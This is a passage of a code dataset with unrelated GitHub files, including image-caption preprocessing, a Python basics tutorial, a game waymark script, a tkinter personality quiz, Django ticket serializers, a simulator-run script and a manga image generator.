' # End Of Sentence\n self.PAD = ''\n self.word_frequencies = None\n self.captions = None\n self.image_files = None\n self.image_features = None\n self.word_to_id = None\n self.id_to_word = None\n self.extracted_features = None\n self.features_file_names = None\n self.image_feature_files = None\n self.vocabulary_size = 0\n\n def run(self):\n start = time.time()\n self._load()\n self._process_captions()\n self.word_frequencies = Counter(chain(*self.captions)).most_common()\n self._remove_infrequent_words()\n self._construct_dictionary()\n if self.run_inception:\n self._extract_image_features()\n self._write_data()\n end = time.time()\n seconds = end - start\n m, s = divmod(seconds, 60)\n h, m = divmod(m, 60)\n print(\"Processing time: %d:%02d:%02d\" % (h, m, s))\n\n def _write_data(self):\n log_file = open(self.root_path + '/data/data_parameters.log', 'w')\n log_file.write('BOS: %s \\n' % self.BOS)\n log_file.write('EOS: %s \\n' % self.EOS)\n log_file.write('PAD: %s \\n' % self.PAD)\n log_file.write('IMG_FEATS: %s \\n' % self.IMG_FEATURES)\n log_file.write('word_frequency_threshold: %s \\n' % self.word_threshold)\n log_file.write('max_caption_length: %s \\n' % self.max_caption_length)\n log_file.close()\n\n data_file = open(self.root_path + '/data/data.txt', 'w')\n data_file.write('image_names*caption\\n')\n for image_arg, image_name in enumerate(self.image_files):\n caption = ' '.join(self.captions[image_arg])\n data_file.write('%s*%s\\n' % (image_name, caption))\n data_file.close()\n\n def _extract_image_features(self):\n print('Extracting image features')\n image_model = InceptionV3(weights='imagenet')\n self.extracted_features = {}\n self.image_feature_files = list(set(self.image_files))\n number_of_images = len(self.image_feature_files)\n for image_arg, image_file in enumerate(self.image_feature_files):\n image_path = self.root_path + '/data/Flicker8k_Dataset/' + image_file\n if image_arg % 100 == 0:\n print('%.2f %% completed' % round(100 * image_arg / number_of_images, 2))\n if os.path.exists(image_path):\n img = image.load_img(image_path, target_size=(224, 224))\n img = image.img_to_array(img)\n img = np.expand_dims(img, axis=0)\n img = preprocess_input(img)\n CNN_features = image_model.predict(img)\n self.extracted_features[image_file] = np.squeeze(CNN_features)\n print('100 % completed')\n print('Writing image features ... ', end='')\n pickle.dump(self.extracted_features, open(self.root_path + '/data/' + 'extracted_features.p', 'wb'))\n print('Done')\n\n def _construct_dictionary(self):\n print('Build dictionary ... ', end='')\n words = [word for word, freq in self.word_frequencies]\n self.word_to_id = {self.PAD: 0, self.BOS: 1, self.EOS: 2}\n self.word_to_id.update({word: word_id for word_id, word in enumerate(words, 3)})\n self.id_to_word = {word_id: word for word, word_id in self.word_to_id.items()}\n pickle.dump(self.word_to_id, open(self.root_path + '/data/word_to_id.p', 'wb'))\n pickle.dump(self.id_to_word, open(self.root_path + '/data/id_to_word.p', 'wb'))\n print('Done')\n\n def _remove_infrequent_words(self):\n print('Removing words with a frequency less than {} ... '.format(self.word_threshold), end='')\n word_frequencies = []\n for word, freq in self.word_frequencies:\n if freq > self.word_threshold:\n word_frequencies.append((word, freq))\n self.word_frequencies = word_frequencies\n self.vocabulary_size = len(self.word_frequencies)\n print('Done')\n print('Vocabulary size: {}'.format(self.vocabulary_size))\n\n def _process_captions(self):\n captions = []\n for caption in self.captions:\n lemmatized_caption = self._lemmatize_sentence(caption)\n if len(lemmatized_caption) > self.max_caption_length:\n self.max_caption_length = len(lemmatized_caption)\n captions.append(lemmatized_caption)\n self.captions = captions\n\n def _lemmatize_sentence(self, caption):\n incorrect_chars = digits + \";.,'/*?¿><:{}[\\]|+()\"\n char_translator = str.maketrans('', '', incorrect_chars)\n quotes_translator = str.maketrans('', '', '\"')\n clean_caption = caption.strip().lower()\n clean_caption = clean_caption.translate(char_translator)\n clean_caption = clean_caption.translate(quotes_translator)\n clean_caption = clean_caption.split(' ')\n return clean_caption\n\n def _load(self):\n print('Loading data ... ', end='')\n path = self.root_path + '/data/Flickr8k.token.txt'\n self.image_files = []\n self.captions = []\n with open(path, 'r') as file:\n for line in file:\n row = line.split(\"#\")\n self.image_files.append(row[0])\n self.captions.append(row[1].split('\\t')[1].strip())\n\n print('{} images loaded'.format(len(self.image_files)))\n\n\ndef main():\n DataPreprocessing(run_inception=True, word_threshold=5).run()\n","repo_name":"amarbasic/icaption","sub_path":"app/algorithm/data_preprocessing.py","file_name":"data_preprocessing.py","file_ext":"py","file_size_in_byte":6151,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
+{"seq_id":"74013338339","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n'''\n@File : 原始数据结构.py\n@Time : 2020/03/16 22:22:21\n@Author : 望 \n@Version : 1.0\n@Contact : 2521664384@qq.com\n@Desc : None\n'''\n\n# here put the import lib\n\n'''\n原始数据结构\n'''\n\n# Integers：您可以使用Integers表示数字数据，具体地说，可以使用从负无穷大到无穷大的整数\nnumber_1 = 1\nnumber_2 = 2\nnumber_3 = 3\nprint(number_1,number_1+number_2,number_1*number_2)\nprint(number_3/number_1,number_3%number_1)\n\n# Float:“Float”代表“浮点数”。 您可以将它用于有理数，通常以十进制数字结尾，例如1.11或3.14。计算同Integers.\nprint(3/2)#整形相除得浮点\nprint(3//2)#整除\n\n# String： String是字母，单词或其他字符的集合。 在Python中，您可以通过在一对单引号或双引号中包含一系列字符来创建字符串。\nx = 'Cake'\ny = 'Cookie'\nx + ' & ' + y #结果:'Cake & Cookie'\n\n# Repeat\nx * 2 #结果：'CakeCake'\n\n# split\nz1 = x[2:] \nprint(z1)\nz2 = y[0] + y[1] \nprint(z2)\n# 结果 ke Co\n\n# 内置辅助方法\n\n# 大写首字母\nstr.capitalize(\"cookie\")\n\n# 以字符为单位检索字符串的长度,空格同时计数\nstr1 = \"Cake 4 U\"\nstr2 = \"404\"\nprint(len(str1))\n\n# 检查字符串是否数字\nstr1 = \"Cake 4 U\"\nstr2 = \"404\"\nstr1.isdigit()\n# False\nstr2.isdigit()\n# True\n\n# 替换\nstr1 = \"Cake 4 U\"\nstr2 = \"404\"\nstr1.replace('4 U', str2)\n# 'Cake 404'\n\n# 查找子字符串\nstr1 = 'cookie'\nstr2 = 'cook'\nstr1.find(str2)\n# 0\nstr1 = 'I got you a cookie'\nstr2 = 'cook'\nstr1.find(str2)\n# 12\n\n# Boolean:这种内置数据类型值为：True和False，这通常使它们可以与整数1和0互换。\nx = 4\ny = 2\nprint(x == y)\n# False\nprint(x > y)\n# True\n\nx = 4\ny = 2\nz = (x==y)\nif z:\n print(\"Cookie\")\nelse:\n print(\"No Cookie\")\n# No Cookie\n\n# 数据类型转化\n\n#查看数据类型\ni = 4.0\nprint(type(i))\n# float\n\n# 隐式数据类型转换:数据类型自动转换，不需要指定，编译器会为您处理。\n# float\nx = 4.0 \n# integer\ny = 2 \nz = x/y\nprint(type(z))\n# float\n\n# 显式数据类型转换\n\nx = 0\ny = \"The Godfather: Part \"\nprint(str(x),float(x),bool(x))\nprint(str(x) + y)","repo_name":"M42-Orion/python-data-structure","sub_path":"原始数据结构.py","file_name":"原始数据结构.py","file_ext":"py","file_size_in_byte":2168,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
+{"seq_id":"37389413697","text":"from time import sleep\nfrom FFxivPythonTrigger import plugins\n\n\ndef dis(x1, y1, z1, x2, y2, z2):\n return ((x1 - x2) ** 2 + (y1 - y2) ** 2 + (z1 - z2) ** 2) ** 0.5\n\n\n# m = ['one', 'two', 'three', 'four', 'a', 'b', 'c', 'd']\nm = ['three', 'c']\n\ni = -1\nlast_pos = None\nwhile True:\n t_id = plugins.XivMemory.markings.head_mark.circle.actor_id\n t_a = plugins.XivMemory.actor_table.get_actor_by_id(t_id)\n if t_a and (last_pos is None or dis(last_pos[0], last_pos[1], last_pos[2], t_a.pos.x, t_a.pos.y, t_a.pos.z) > 5):\n i += 1\n plugins.XivMemory.calls.way_mark(m[i % len(m)], t_a.pos)\n last_pos = (t_a.pos.x, t_a.pos.y, t_a.pos.z)\n sleep(0.1)\n","repo_name":"AutumnInSouth/FFxivPythonTrigger3","sub_path":"script/mk_circle.py","file_name":"mk_circle.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"35"}
+{"seq_id":"35095943881","text":"# 연속된 자연수의 합 구하기 (투포인터)\n\nn = int(input())\n\nstart = 1\nend = 1\ntotal = 1\ncount = 1\n\n# 투 포인터 알고리즘\nwhile end != n:\n if total < n:\n end += 1\n total += end\n elif total > n:\n total -= start\n start += 1\n else:\n end += 1\n total += end\n total -= start\n start += 1\n count += 1\n\nprint(count)\n","repo_name":"GyuYoungLee/codingtest-python","sub_path":"backjoon/006-2108.py","file_name":"006-2108.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
+{"seq_id":"15521150164","text":"from tkinter import *\r\nfrom tkinter import messagebox\r\nfrom tkinter import ttk\r\nfrom tkinter.filedialog import *\r\n\r\n\r\n\r\n##필요한 함수 선언\r\n\r\ndef func_exit(): #윈도우 창을 종료시키는 함수\r\n window.quit()\r\n window.destroy()\r\n\r\ndef caution(): #선택지 고르지 않고 다음버튼 누르면 나오는 메세지 박스\r\n messagebox.showinfo(\"알림\", \"선택지를 골라주세요\")\r\n\r\ndef check(): #선택지를 모두 골랐는지 확인하는 함수\r\n if (var1.get() != FALSE and var2.get() != FALSE and var3.get() != FALSE and var4.get() != FALSE):\r\n openResult()\r\n else:\r\n caution()\r\n \r\ndef openResult(): #마지막 질문 답변 후 다음버튼 누르면새로운 창을 띄워 결과창 보여줄 때\r\n def func_foodResult(): #1번 질문지에서 고른 것에 따라 다른 결과 이미지를 띄우기 위함\r\n if var1.get() == 1:\r\n photo = PhotoImage(file = \"C://Temp//result//food01.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var1.get() == 2:\r\n photo = PhotoImage(file = \"C://Temp//result//food02.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var1.get() == 3:\r\n photo = PhotoImage(file = \"C://Temp//result//food03.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var1.get() == 4:\r\n photo = PhotoImage(file = \"C://Temp//result//food04.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n def func_tourResult(): #2번 질문지에서 고른 것에 따라 다른 결과 이미지를 띄우기 위함\r\n if var2.get() == 1:\r\n photo = PhotoImage(file = \"C://Temp//result//tour01.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var2.get() == 2:\r\n photo = PhotoImage(file = \"C://Temp//result//tour02.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var2.get() == 3:\r\n photo = PhotoImage(file = \"C://Temp//result//tour03.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var2.get() == 4:\r\n photo = PhotoImage(file = \"C://Temp//result//tour04.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n def func_clothResult(): #3번 질문지에서 고른 것에 따라 다른 결과 이미지를 띄우기 위함\r\n if var3.get() == 1:\r\n photo = PhotoImage(file = \"C://Temp//result//cloth01.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var3.get() == 2:\r\n photo = PhotoImage(file = \"C://Temp//result//cloth02.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var3.get() == 3:\r\n photo = PhotoImage(file = \"C://Temp//result//cloth03.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var3.get() == 4:\r\n photo = PhotoImage(file = \"C://Temp//result//cloth04.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n def func_playResult(): #4번 질문지에서 고른 것에 따라 다른 결과 이미지를 띄우기 위함\r\n if var4.get() == 1:\r\n photo = PhotoImage(file = \"C://Temp//result//play01.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var4.get() == 2:\r\n photo = PhotoImage(file = \"C://Temp//result//play02.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n if var4.get() == 3:\r\n photo = PhotoImage(file = \"C://Temp//result//play03.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n \r\n if var4.get() == 4:\r\n photo = PhotoImage(file = \"C://Temp//result//play04.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n \r\n top = Toplevel(window)\r\n label = Label(top)\r\n top.geometry(\"700x700\")\r\n top.resizable(width = FALSE, height = FALSE)\r\n Label.pack\r\n\r\n photo = PhotoImage()\r\n pLabel = Label(top, image = photo)\r\n pLabel.pack(expand = 1, anchor = CENTER)\r\n\r\n photo = PhotoImage(file = \"C://Temp//result//main_result.gif\")\r\n pLabel.configure(image = photo)\r\n pLabel.image = photo\r\n\r\n #메뉴창\r\n mainMenu = Menu(top)\r\n top.config(menu = mainMenu)\r\n fileMenu = Menu(mainMenu)\r\n mainMenu.add_cascade(label = \"결과\", menu = fileMenu)\r\n fileMenu.add_command(label = \"한식\", command = func_foodResult)\r\n fileMenu.add_separator()\r\n fileMenu.add_command(label = \"관광지\", command = func_tourResult)\r\n fileMenu.add_separator()\r\n fileMenu.add_command(label = \"전통 옷\", command = func_clothResult)\r\n fileMenu.add_separator()\r\n fileMenu.add_command(label = \"전통놀이\", command = func_playResult)\r\n fileMenu.add_separator()\r\n fileMenu.add_command(label = \"프로그램 종료\", command = func_exit)\r\n \r\n\r\n#메인함수---------------------------------\r\n \r\nwindow = Tk() #베이스 윈도우 창\r\n\r\n\r\nwindow.title('나에게 맞는 한국 전통 문화 테스트') #창 이름\r\nwindow.geometry('800x600') #크기 정해놓기(사진 크기에 맞게 바꾸기)\r\nwindow.resizable(width = FALSE, height = FALSE) #크기 못바꾸게 함(팀원들과 상의하기)\r\n\r\nvar1 = IntVar()\r\n\r\nnotebook = ttk.Notebook(window, width = 800, height = 600) #탭\r\nnotebook.pack()\r\n\r\n\r\nframe1 = Frame(window)\r\nnotebook.add(frame1, text =\"첫번째 질문\")\r\n\r\nquestion1 = Label(frame1, text = '1. 배고픈 당신! 배달 앱으로 주문해서 밥을 먹으려고 하는데... 당신의 선택은?', font =(\"맑은 고딕\", 15)) ## ex ) 여행갈 때 계획을 미리 하고 가나요?\r\nquestion1.pack(pady = 50)\r\n\r\nc1_1 = Radiobutton(frame1, text='1. 음식 종류부터 혜택까지 꼼꼼하게 따져보고 주문한다.', font =(\"맑은 고딕\", 11), variable=var1, value=1)\r\nc1_1.pack(anchor = W)\r\n\r\nc1_2 = Radiobutton(frame1, text='2. 과감하게 먹어보지 않은 새로운 메뉴를 주문한다.',font =(\"맑은 고딕\", 11), variable=var1, value=2)\r\nc1_2.pack(anchor = W)\r\n\r\nc1_3 = Radiobutton(frame1, text='3. 이미 하루 전에 주문 계획이 다 세워있는 편! 고민 없이 바로 주문한다.',font =(\"맑은 고딕\", 11), variable=var1, value=3)\r\nc1_3.pack(anchor = W)\r\n\r\nc1_4 = Radiobutton(frame1, text='4. 일단 이것저것 많이 주문한다. 그러고선 정작 음식이 오면 다 못 먹는 편..',font =(\"맑은 고딕\", 11), variable=var1, value=4)\r\nc1_4.pack(anchor = W)\r\n\r\nvar2 = IntVar()\r\n\r\nframe2 = Frame(window)\r\nnotebook.add(frame2, text = \"두번째 질문\")\r\nquestion2 = Label(frame2, text = '2. 곧 있을 여름방학을 맞아 여름휴가를 준비하려는 당신... 당신의 선택은?', font =(\"맑은 고딕\", 15)) ## ex ) 여행갈 때 계획을 미리 하고 가나요?\r\nquestion2.pack(pady = 50)\r\n\r\nc21 = Radiobutton(frame2, text='1. 이상적인 휴가를 머릿속으로 떠올리며 행복한 상상에 빠진다.', font =(\"맑은 고딕\", 11), variable=var2, value=1)\r\nc21.pack(anchor = W)\r\n\r\nc22 = Radiobutton(frame2, text='2. 배보다 배꼽이 먼저! 일단 여행 갈 때 입을 옷부터 산다.',font =(\"맑은 고딕\", 11), variable=var2, value=2)\r\nc22.pack(anchor = W)\r\n\r\nc23 = Radiobutton(frame2, text='3. 여름휴가를 같이 갈 사람을 모집하고 같이 가는 사람들에게 뭐하고 싶은지 물어본다.',font =(\"맑은 고딕\", 11), variable=var2, value=3)\r\nc23.pack(anchor = W)\r\n\r\nc24 = Radiobutton(frame2, text='4. 샅샅이 조사해서 갈 곳을 정하고 전체 구성을 기획한다.',font =(\"맑은 고딕\", 11), variable=var2, value=4)\r\nc24.pack(anchor = W)\r\n\r\nvar3 = IntVar()\r\n\r\nframe3 = Frame(window)\r\nnotebook.add(frame3, text = \"세번째 질문\")\r\nquestion3 = Label(frame3, text = '3.친구가 약속에 늦었을 때... 당신의 반응은?', font =(\"맑은 고딕\", 15)) ## ex ) 여행갈 때 계획을 미리 하고 가나요?\r\nquestion3.pack(pady = 50)\r\n\r\nc31 = Radiobutton(frame3, text='1. 앗! 나도 늦었다!', font =(\"맑은 고딕\", 11), variable=var3, value=1)\r\nc31.pack(anchor = W)\r\n\r\nc32 = Radiobutton(frame3, text='2. 오면 된거지! 신경쓰지 않는다.',font =(\"맑은 고딕\", 11), variable=var3, value=2)\r\nc32.pack(anchor = W)\r\n\r\nc33 = Radiobutton(frame3, text='3. 눈에는 눈! 이에는 이! 다음에 나도 똑같이 늦는다.',font =(\"맑은 고딕\", 11), variable=var3, value=3)\r\nc33.pack(anchor = W)\r\n\r\nc34 = Radiobutton(frame3, text='4. 늦으면 끝이지... 그��� 집에 간다.',font =(\"맑은 고딕\", 11), variable=var3, value=4)\r\nc34.pack(anchor = W)\r\n\r\nvar4 = IntVar()\r\n\r\nframe4 = Frame(window)\r\nnotebook.add(frame4, text = \"네번째 질문\")\r\nquestion4 = Label(frame4, text = '4. 열심히 공부한 기말 시험을 망쳤을 때... 당신의 반응은?', font =(\"맑은 고딕\", 15)) ## ex ) 여행갈 때 계획을 미리 하고 가나요?\r\nquestion4.pack(pady = 50)\r\n\r\nc41 = Radiobutton(frame4, text='1. 너무 슬퍼서 엉엉 운다.', font =(\"맑은 고딕\", 11), variable=var4, value=1)\r\nc41.pack(anchor = W)\r\n\r\nc42 = Radiobutton(frame4, text='2. 끝난 건 끝난 것! 그냥 논다.',font =(\"맑은 고딕\", 11), variable=var4, value=2)\r\nc42.pack(anchor = W)\r\n\r\nc43 = Radiobutton(frame4, text='3. 아직 다음 시험이 있다! 열심히 공부한다.',font =(\"맑은 고딕\", 11), variable=var4, value=3)\r\nc43.pack(anchor = W)\r\n\r\nc44 = Radiobutton(frame4, text='4. 교수님... 성적 정정 메일을 구구절절 보내본다.',font =(\"맑은 고딕\", 11), variable=var4, value=4)\r\nc44.pack(anchor = W)\r\n\r\nbtnNext = Button(frame4, text = \" 결과 확인하기\", command = check ) #버튼 설정\r\nbtnNext.place( x =680, y = 320) #해당 좌표에 버튼 배치\r\n\r\nwindow.mainloop()\r\n","repo_name":"mnzy412/personality-test-korea","sub_path":"한국 전통문화 테스트.py","file_name":"한국 전통문화 테스트.py","file_ext":"py","file_size_in_byte":10031,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
+{"seq_id":"27446479646","text":"from dataclasses import field\nfrom .models import Event, EventImage, Theme, Cart, CartTicket, Order, OrderTicket, Customer\nfrom rest_framework import serializers\nfrom django.db import transaction\n\n\nclass EventImageSerializer(serializers.ModelSerializer):\n\n def create(self, validated_data):\n event_id = self.context['event_id']\n return EventImage.objects.create(event_id=event_id, **validated_data)\n\n class Meta:\n model = EventImage\n fields = ['id', 'image']\n\n\nclass EventSerializer(serializers.ModelSerializer):\n images = EventImageSerializer(many=True, read_only=True)\n\n class Meta:\n model = Event\n fields = ['id', 'title', 'slug', 'description',\n 'inventory', 'unit_price', 'theme', 'city', 'location', 'date', 'images', 'last_update']\n\n\nclass ThemeSerializer(serializers.ModelSerializer):\n class Meta:\n model = Theme\n fields = ['id', 'title', 'events_count']\n\n events_count = serializers.IntegerField(read_only=True)\n\n\nclass SimpleEventSerializer(serializers.ModelSerializer):\n class Meta:\n model = Event\n fields = ['id', 'title', 'unit_price']\n\n\nclass CartTicketSerializer(serializers.ModelSerializer):\n event = SimpleEventSerializer()\n total_price = serializers.SerializerMethodField()\n\n def get_total_price(self, cart_ticket: CartTicket):\n return cart_ticket.quantity * cart_ticket.event.unit_price\n\n class Meta:\n model = CartTicket\n fields = ['id', 'event', 'quantity', 'total_price']\n\n\nclass CartSerializer(serializers.ModelSerializer):\n id = serializers.UUIDField(read_only=True)\n tickets = CartTicketSerializer(many=True, read_only=True)\n total_price = serializers.SerializerMethodField()\n\n def get_total_price(self, cart):\n return sum([ticket.quantity * ticket.event.unit_price for ticket in cart.tickets.all()])\n\n class Meta:\n model = Cart\n fields = ['id', 'tickets', 'total_price']\n\n\nclass AddCartTicketSerializer(serializers.ModelSerializer):\n event_id = serializers.IntegerField()\n\n def validate_event_id(self, value):\n if not Event.objects.filter(pk=value).exists():\n raise serializers.ValidationError(\n 'No event with the given ID was found.')\n return value\n\n def save(self, **kwargs):\n cart_id = self.context['cart_id']\n event_id = self.validated_data['event_id']\n quantity = self.validated_data['quantity']\n\n try:\n cart_ticket = CartTicket.objects.get(\n cart_id=cart_id, event_id=event_id)\n cart_ticket.quantity += quantity\n cart_ticket.save()\n self.instance = cart_ticket\n except CartTicket.DoesNotExist:\n self.instance = CartTicket.objects.create(\n cart_id=cart_id, **self.validated_data)\n\n return self.instance\n\n class Meta:\n model = CartTicket\n fields = ['id', 'event_id', 'quantity']\n\n\nclass UpdateCartTicketSerializer(serializers.ModelSerializer):\n class Meta:\n model = CartTicket\n fields = ['quantity']\n\n\nclass CustomerSerializer(serializers.ModelSerializer):\n user_id = serializers.IntegerField(read_only=True)\n\n class Meta:\n model = Customer\n fields = ['id', 'user_id', 'phone', 'city', 'country']\n\n\nclass OrderTicketSerializer(serializers.ModelSerializer):\n event = SimpleEventSerializer()\n\n class Meta:\n model = OrderTicket\n fields = ['id', 'event', 'unit_price', 'quantity']\n\n\nclass OrderSerializer(serializers.ModelSerializer):\n tickets = OrderTicketSerializer(many=True)\n\n class Meta:\n model = Order\n fields = ['id', 'customer', 'placed_at', 'payment_status', 'tickets']\n\n\nclass UpdateOrderSerializer(serializers.ModelSerializer):\n class Meta:\n model = Order\n fields = ['payment_status']\n\n\nclass CreateOrderSerializer(serializers.Serializer):\n cart_id = serializers.UUIDField()\n\n def validate_cart_id(self, cart_id):\n if not Cart.objects.filter(pk=cart_id).exists():\n raise serializers.ValidationError(\n 'No cart with the given ID was found.')\n if CartTicket.objects.filter(cart_id=cart_id).count() == 0:\n raise serializers.ValidationError('The cart is empty.')\n return cart_id\n\n def save(self, **kwargs):\n with transaction.atomic():\n cart_id = self.validated_data['cart_id']\n\n customer = Customer.objects.get(\n user_id=self.context['user_id'])\n order = Order.objects.create(customer=customer)\n\n cart_tickets = CartTicket.objects \\\n .select_related('event') \\\n .filter(cart_id=cart_id)\n order_tickets = [\n OrderTicket(\n order=order,\n event=ticket.event,\n unit_price=ticket.event.unit_price,\n quantity=ticket.quantity\n ) for ticket in cart_tickets\n ]\n OrderTicket.objects.bulk_create(order_tickets)\n\n Cart.objects.filter(pk=cart_id).delete()\n\n return order\n","repo_name":"M4r0uan3/billetterie_backend","sub_path":"api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":5178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
+{"seq_id":"16530287398","text":"import os\r\nimport sys\r\nimport json\r\n\r\nSRC_DIR = \"/mnt/ncsudrive/a/amsangam/ECE721/project1\"\r\n\r\ndef __toolchain_setup():\r\n\tTOOLCHAIN_SETUP = \"source /mnt/designkits/spec_2006_2017/O2_fno_bbreorder/activate.bash\"\r\n\tos.system(TOOLCHAIN_SETUP)\r\n\r\ndef checkpoint_directory_name(checkpoint, version):\r\n\treturn \"-\".join([checkpoint, version])\r\n\r\ndef benchmark_name(checkpoint):\r\n\treturn \".\".join(checkpoint.split(\".\")[0:2])\r\n\r\ndef __checkpoint_setup(checkpoint,config_type):\r\n\t\r\n\t# create directory for checkpoint\r\n\tcheckpoint_dir = \"{}/{}\".format(SRC_DIR, checkpoint_directory_name(checkpoint, config_type))\r\n\tMKDIR = \"mkdir {}\".format(checkpoint_dir)\r\n\tos.system(MKDIR)\r\n\r\n\t# change working directory \r\n\tos.chdir(checkpoint_dir)\r\n\r\n\t# create symbolic link for proxy kernel\r\n\tLN_KERNEL = \"ln -s /mnt/designkits/spec_2006_2017/O2_fno_bbreorder/app_storage/pk\"\r\n\tos.system(LN_KERNEL)\r\n\t\r\n\t# create symbolic link for 721sim\r\n\tLN_721SIM = \"ln -s /mnt/ncsudrive/a/amsangam/ECE721/project1/721sim\"\r\n\tos.system(LN_721SIM)\r\n\r\n\t# generate makefile\r\n\tbenchmark = benchmark_name(checkpoint)\r\n\tGENERATE_MAKE = \"atool-simenv mkgen {} --checkpoint {}\".format(benchmark, checkpoint)\r\n\tprint(GENERATE_MAKE)\r\n\tos.system(GENERATE_MAKE)\r\n\r\n\treturn checkpoint_dir\r\n\r\ndef __run_sim(config, checkpoint_dir):\r\n\r\n\t# json file \r\n\tos.chdir(SRC_DIR)\r\n\twith open('run_commands.json') as cmd_file:\r\n\t\tcmds = json.load(cmd_file)\r\n\tcmd_list = cmds[config]\r\n\r\n\tos.chdir(checkpoint_dir)\r\n\tfor CMD in cmd_list:\r\n\t\tos.system(CMD)\r\n\r\ndef __extract_ipc(checkpoint_dir, config, checkpoint):\r\n\t\r\n\t# list files in checkpoint_dir\r\n\tos.chdir(checkpoint_dir)\r\n\r\n\tLS_FILES = \"ls > files.txt\"\r\n\tos.system(LS_FILES)\r\n\r\n\t# fetch stat files\r\n\twith open('files.txt') as files:\r\n\t\tfile_list = files.readlines()\r\n\r\n\tstat_files = [file for file in file_list if 'stats' in file]\r\n\r\n\tipc_rates = []\r\n\tfor stat_file in stat_files:\r\n\t\twith open(stat_file.strip()) as data_file:\r\n\t\t\tdata = data_file.readlines()\r\n\t\t\tfor line in data:\r\n\t\t\t\tif('ipc_rate' in line):\r\n\t\t\t\t\tipc_rates.append(line.split(\":\")[-1].strip())\r\n\r\n\tos.chdir(SRC_DIR)\r\n\tstats_csv = checkpoint+\".csv\"\r\n\twith open(stats_csv, 'a') as stat_csv:\r\n\t\trow = config + \",\" + \",\".join(ipc_rates) + \"\\n\"\r\n\t\tstat_csv.write(row)\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef __run(checkpoint):\t\r\n\r\n\tconfig_type = ['perfALL', 'realD$', 'realBP', 'noT$', 'realDISAMBIG', 'realDISAMBIGFlexible']\r\n\r\n\r\n\tfor config in config_type:\r\n\t\tif(config == 'realDISAMBIGFlexible'):\r\n\t\t\tcheckpoint_dir = __checkpoint_setup(checkpoint, config)\r\n\t\t\t__run_sim(config, checkpoint_dir)\r\n\t\t\t#__extract_ipc(checkpoint_dir, config, checkpoint)\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n\t__run(sys.argv[1])\r\n\r\n\r\n\r\n","repo_name":"Aditya-Sangamnerkar/ILP_Limit_Study","sub_path":"checkpoint_setup.py","file_name":"checkpoint_setup.py","file_ext":"py","file_size_in_byte":2645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
+{"seq_id":"33299578067","text":"import os\nfrom dataclasses import dataclass\nfrom random import Random\nfrom typing import Optional, Any, List, Tuple\n\nfrom PIL import Image, ImageDraw\nfrom PIL import ImageFont\n\nfrom comic_ocr.dataset.generated_manga.text_area import TextArea\nfrom comic_ocr.dataset.generated_manga.text_bubble import TextBubble\nfrom comic_ocr.dataset.generated_manga.text_rect import TextRect\nfrom comic_ocr.types import Rectangle, Point, Drawable, Size\nfrom comic_ocr.utils.files import get_path_example_dir, load_images, load_texts\n\n\n@dataclass\nclass MangaGenerator():\n choices_drawings: List[Image.Image]\n choices_texts: List[str]\n choices_fonts: List[ImageFont.ImageFont]\n choices_text_counts: List[int]\n\n random_salt: str = ''\n current_random_seed: float = 0\n output_size: Size = Size.of(768, 768)\n\n @staticmethod\n def create(\n choices_drawings: Optional[List[Image.Image]] = None,\n choices_texts: Optional[List[str]] = None,\n choices_fonts: Optional[List[ImageFont.ImageFont]] = None,\n choices_text_counts: Optional[List[int]] = None,\n random_salt: str = ''\n ):\n choices_drawings = choices_drawings if choices_drawings else load_example_drawing()\n choices_texts = choices_texts if choices_texts else load_example_texts()\n choices_fonts = choices_fonts if choices_fonts else load_example_fonts()\n choices_text_counts = choices_text_counts if choices_text_counts else (5, 6)\n return MangaGenerator(\n choices_drawings=choices_drawings,\n choices_texts=choices_texts,\n choices_fonts=choices_fonts,\n choices_text_counts=choices_text_counts,\n random_salt=random_salt\n )\n\n def generate(self, random_seed: Optional[Any] = None, output_size: Optional[Size] = None):\n if not random_seed:\n random_seed = self.current_random_seed\n\n output_size = output_size if output_size else self.output_size\n random = Random(f'{self.random_salt}_{random_seed}')\n self.current_random_seed = random.random()\n\n return generate(\n random,\n output_size=output_size,\n choices_drawings=self.choices_drawings,\n choices_texts=self.choices_texts,\n choices_fonts=self.choices_fonts,\n choices_text_counts=self.choices_text_counts,\n )\n\n\ndef generate(\n random: Random,\n choices_drawings: List[Image.Image],\n choices_texts: List[str],\n choices_fonts: List[ImageFont.ImageFont],\n choices_text_counts: List[int] = (5,),\n output_size=(768, 768)\n) -> Tuple[Image.Image, List[TextArea]]:\n image: Image.Image = Image.new('RGB', output_size, '#ffffff')\n _draw_random_drawing(random, image, choices_drawings)\n\n text_count = 